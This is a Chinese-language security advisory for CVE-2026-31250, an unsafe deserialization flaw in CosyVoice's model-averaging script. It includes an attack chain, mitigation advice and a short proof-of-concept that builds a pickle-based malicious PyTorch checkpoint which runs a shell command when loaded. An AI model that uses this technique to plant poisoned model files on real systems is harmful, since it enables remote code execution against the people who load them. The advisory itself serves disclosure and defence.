IPBUF安全漏洞报告
English
CVE-2026-31250 CVSS 7.3 高危

CVE-2026-31250 CosyVoice 不安全反序列化RCE漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-31250
漏洞类型
不安全反序列化
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
CosyVoice

相关标签

不安全反序列化RCECosyVoiceCWE-502PyTorch代码执行

漏洞概述

CosyVoice 在特定提交版本的 average_model.py 模型平均工具中存在不安全反序列化漏洞(CWE-502)。该脚本使用 torch.load() 加载 PyTorch 检查点文件(epoch_*.pt)时,未启用 weights_only=True 安全参数。这允许攻击者通过 pickle 模块反序列化任意 Python 对象。攻击者可提供包含恶意代码的检查点文件,当受害者使用该工具对目录中的模型进行平均处理时,将触发任意代码执行。该漏洞通过网络利用,无需认证和交互,对系统机密性、完整性和可用性构成威胁。

技术细节

该漏洞的核心机制在于 CosyVoice 的 average_model.py 脚本对 PyTorch 模型权重的反序列化过程缺乏安全限制。PyTorch 的 torch.load() 函数底层使用 Python 的 pickle 模块来序列化和反序列化对象。Pickle 在反序列化过程中能够执行定义在 __reduce__ 方法中的任意代码。在受影响的 commit 中,代码直接调用 torch.load() 处理用户提供的 epoch_*.pt 文件。攻击者可以构造一个特制的 .pt 文件,其中包含指向系统命令(如反弹 Shell)的恶意 payload。当受害者运行脚本并遍历包含该恶意文件的目录时,torch.load() 会解析文件内容并执行其中的代码。由于攻击向量(AV:N)和网络可达性,且无需用户交互(UI:N),攻击者可轻易利用此漏洞在受害者服务器上实现远程代码执行(RCE)。

攻击链分析

STEP 1
1. 恶意文件制作
攻击者利用 Python pickle 机制构造包含恶意 payload 的 epoch_*.pt 文件。
STEP 2
2. 文件投递
攻击者将恶意文件放入受害者用于模型平均的目录中,或通过供应链替换合法模型。
STEP 3
3. 触发漏洞
受害者运行 average_model.py 脚本处理该目录。脚本调用 torch.load() 读取恶意文件。
STEP 4
4. 代码执行
Pickle 反序列化机制触发 __reduce__ 方法,在受害者系统上执行任意系统命令。
STEP 5
5. 获取权限
攻击者成功获得受害者系统的执行权限,可能导致数据泄露或进一步横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import torch import os import pickle # Malicious payload class class Exploit: def __reduce__(self): # Execute arbitrary command (e.g., creating a file) return (os.system, ('touch /tmp/pwned',)) # Create a malicious model file malicious_data = { 'state_dict': Exploit() } # Save the malicious checkpoint file with open('epoch_1_malicious.pt', 'wb') as f: torch.save(malicious_data, f) print("Malicious checkpoint created: epoch_1_malicious.pt") # --- Vulnerable code simulation in average_model.py --- print("\nSimulating vulnerable torch.load()...") # In the vulnerable code, it simply does: # checkpoint = torch.load(filepath) try: # This triggers the exploit because weights_only is NOT set to True checkpoint = torch.load('epoch_1_malicious.pt') print("Checkpoint loaded.") except Exception as e: print(f"Error: {e}")

影响范围

CosyVoice <= commit 6e01309e01bc93bbeb83bdd996b1182a81aaf11e

防御指南

临时缓解措施
在未升级修复补丁前,建议严格限制模型文件的来源,避免加载未知的 checkpoint 文件。开发者应手动修改 average_model.py 源码,在 torch.load 函数调用中添加 weights_only=True 参数,以阻止除张量以外的对象反序列化,从而阻断代码执行路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表